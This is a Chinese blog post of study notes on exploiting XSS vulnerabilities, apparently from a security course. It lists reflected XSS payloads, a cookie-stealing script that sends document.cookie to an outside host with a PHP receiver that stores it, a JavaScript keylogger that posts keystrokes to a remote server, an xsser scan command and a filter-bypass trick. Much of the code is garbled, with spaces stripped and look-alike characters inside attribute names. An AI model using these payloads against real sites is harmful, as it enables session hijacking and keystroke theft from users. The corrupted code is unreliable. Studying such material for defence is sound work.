【安全牛学习笔记】XSS的利用

反射型XSS1.概念

通过社会工程学等手段诱骗用户点击某个精心构造的链接,该链接会将恶意的js代码提交给 有漏洞的服务器网站,并由服务器返回给受害者的客户端执行。

2.POC

-<script>alert(‘xss’)</script>
-
直接通过脚本插入
-<ahref=''οnclick=alert('xss')>type</a>
-
将代码注入到a标签中,点击超链接则执行-<imgsrc=http://1.1.1.1/a.ipgοnerrοr=alert('xss')> -将代码注入到img标签中,加载出错时执行-<script>window.location=‘http://1.1.1.1'</script>
-
重定向
-<iframeSRC="http://1.1.1.1/victim"height="0"width="0"></iframe> -加载一个宽和高都是0的框架来执行代码-<script>newImage().src="http://1.1.1.1/c.php?output="+document.cookie;</script> -窃取cookie并发送到指定网址-<script>document.body.innerHTML="<divstyle=visibility:visible;><h1>THISWEBSITE

ISUNDERATTACK</h1></div>";</script> -修改DOM树中的内容

3.窃取cookiejs代码 cookie.js

varimg=newImage(); img.src="http://1.1.1.1/cookies.php?cookie="+document.cookie;

接收页面代码cookies.php

<?php
$c=$_GET['c']; $cookie=fopen("cookie.txt","a"); fwrite($cookie,$c."\r\n\r\n"); fclose($cookie);
echo"success"
?>

恶意代码

<scriptsrc=http://1.1.1.1/cookie.js></script> 

攻击过程:

当恶意代码被执行时,会从外部网址读取cookie.js在客户端上执行,该js会读取当前页面的 地址并发送到指定的接收页面,由页面接收并保存到文件。

4.keylogger键盘记录js keylogger.js

document.οnkeypress=function(evt){
evt=evt||window.event
key=String.fromCharCode(evt.charCode)
if(key){
varhttp=newXMLHttpRequest();
varparam=encodeURI(key) http.open("POST","http://192.168.20.8/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param);

} }

接收页面 Keylogger.php

<?php
$key=$_POST['key']; $logfile="keylog.txt"; $fp=fopen($logfile,"a"); fwrite($fp,$key); fclose($fp);
?>

恶意代码

<script+src="http://1.1.1.1/keylogger.js"></script>

攻击过程:当恶意代码被执行时,会从外部网址读取keylooger.js在客户端上执行,该js记录所有该页面 上的按键操作并发送到指定的接收页面,由页面接收并保存到文件。

5.xss漏洞检测工具:xsser

xsser-u“http://1.1.1.1/dvwa/vulnerabilities/"-g"xss_r/?name="--cookie="securi ty=low;PHPSESSID=d23e469411707ff8210717e67c521a81"-s-v--reverse-check检测xss漏洞
--heuristic检查被过滤的字符

6.过滤绕过

过滤机制:替换<script>字符为""绕过方法:在<script>中嵌套一层<script>--<scr<script>ipt>


存储型XSS1.概念

将恶意js代码永久的存储在有漏洞的服务器上,每次受害者打开该页面时,恶意代码便会在 客户端执行。

2.表单长度限制突破只在客户端过滤且服务器没有很的过滤机制时:

  直接修改客户端源码改变表单长度
  通过截断代理直接在数据包中修改需要提交的内容
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值